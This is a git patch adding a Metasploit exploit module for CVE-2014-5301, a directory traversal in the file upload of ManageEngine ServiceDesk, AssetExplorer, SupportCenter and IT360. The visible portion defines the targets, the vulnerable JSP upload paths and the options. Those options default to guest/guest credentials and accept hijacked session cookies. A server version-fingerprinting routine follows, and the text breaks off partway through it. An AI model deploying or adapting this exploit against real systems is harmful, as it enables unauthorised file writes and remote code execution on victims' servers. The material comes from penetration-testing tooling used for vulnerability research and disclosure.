From c9b76a806ad05b961d1f90ae8334bba8718e6508 Mon Sep 17 00:00:00 2001 From: Pedro Ribeiro Date: Sun, 4 Jan 2015 17:05:53 +0000 Subject: [PATCH 1/8] Create manageengine_auth_upload.rb --- .../multi/http/manageengine_auth_upload.rb | 427 ++++++++++++++++++ 1 file changed, 427 insertions(+) create mode 100644 modules/exploits/multi/http/manageengine_auth_upload.rb diff --git a/modules/exploits/multi/http/manageengine_auth_upload.rb b/modules/exploits/multi/http/manageengine_auth_upload.rb new file mode 100644 index 0000000000..03c4055801 --- /dev/null +++ b/modules/exploits/multi/http/manageengine_auth_upload.rb @@ -0,0 +1,427 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class Metasploit3 < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::Remote::HttpClient + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'ManageEngine ServiceDesk / AssetExplorer / SupportCenter / IT360 Authenticated File Upload', + 'Description' => %q{ + This module exploits a directory traversal vulnerability in ManageEngine ServiceDesk / + AssetExplorer / SupportCenter / IT360 when uploading attachment files. The JSP that accepts + the upload does not handle correctly '../' sequences, which can be abused to write + anywhere in the file system. + Authentication is needed to exploit this vulnerability, but this module will attempt + to login using the default credentials for the administrator and guest accounts; + alternatively you can provide a pre-authenticated cookie or a username / password combo. + For IT360 targets enter the RPORT of the ServiceDesk instance (usually 8400). + All versions of ServiceDesk prior v9 build 9031 (including MSP but excluding v4), AssetExplorer, + SupportCenter and IT360 (including MSP) are vulnerable. At the time of release of this + module, only ServiceDesk v9 has been fixed in build 9031 and above. This module has been + been tested successfully in Windows and Linux on several versions. + }, + 'Author' => + [ + 'Pedro Ribeiro ', # Vulnerability Discovery and Metasploit module + ], + 'License' => MSF_LICENSE, + 'References' => + [ + [ 'CVE', '2014-5301' ], + [ 'OSVDB', 'TODO' ], + [ 'URL', 'https://raw.githubusercontent.com/pedrib/PoC/master/ManageEngine/me_sd_file_upload.txt' ], + [ 'URL', 'FULLDISC_URL' ] + ], + 'DefaultOptions' => { 'WfsDelay' => 30 }, + 'Privileged' => false, # Privileged on Windows but not on Linux targets + 'Platform' => 'java', + 'Arch' => ARCH_JAVA, + 'Targets' => + [ + [ 'Automatic', { } ], + [ 'ServiceDesk Plus v5-v7.1 < b7016/AssetExplorer v4/SupportCenter v5-v7.9 - Java Universal', + { + 'attachment_path' => '/workorder/Attachment.jsp' + } + ], + [ 'ServiceDesk Plus/Plus MSP v7.1 >= b7016 - v9.0 < b9031/AssetExplorer v5-v6.1 - Java Universal', + { + 'attachment_path' => '/common/FileAttachment.jsp' + } + ], + [ 'IT360 v8-v10.4 - Java Universal', + { + 'attachment_path' => '/common/FileAttachment.jsp' + } + ] + ], + 'DefaultTarget' => 0, + 'DisclosureDate' => 'Dec 15 2014')) + + register_options( + [ + Opt::RPORT(8080), + OptInt.new('SLEEP', + [true, 'Seconds to sleep while we wait for EAR deployment', 15]), + OptString.new('JSESSIONID', + [false, 'Pre-authenticated JSESSIONID cookie (non-IT360 targets)']), + OptString.new('IAMAGENTTICKET', + [false, 'Pre-authenticated IAMAGENTTICKET cookie (IT360 target only)']), + OptString.new('USERNAME', + [true, 'The username to login as', 'guest']), + OptString.new('PASSWORD', + [true, 'Password for the specified username', 'guest']), + OptString.new('DOMAIN_NAME', + [false, 'Name of the domain to logon to']) + ], self.class) + end + + + def get_version + res = send_request_cgi({ + 'uri' => "/", + 'method' => 'GET' + }) + + # Major version, minor version, build and product (sd = servicedesk; ae = assetexplorer; sc = supportcenterl; it = it360) + version = [ "9999", "9999", "0", "sd" ] + + if res && res.code == 200 + if res.body.to_s =~ /ManageEngine ServiceDesk/ + if res.body.to_s =~ /  \|  ([0-9]{1}\.{1}[0-9]{1}\.?[0-9]*)/ + output = $1 + version = [ output[0], output[2], "0", "sd" ] + end + if res.body.to_s =~ /src='\/scripts\/Login\.js\?([0-9]+)'><\/script>/ # newer builds + version[2] = $1 + elsif res.body.to_s =~ /'\/style\/style\.css', '([0-9]+)'\);<\/script>/ # older builds + version[2] = $1 + end + elsif res.body.to_s =~ /ManageEngine AssetExplorer/ + if res.body.to_s =~ /ManageEngine AssetExplorer  ([0-9]{1}\.{1}[0-9]{1}\.?[0-9]*)/ or + res.body.to_s =~ /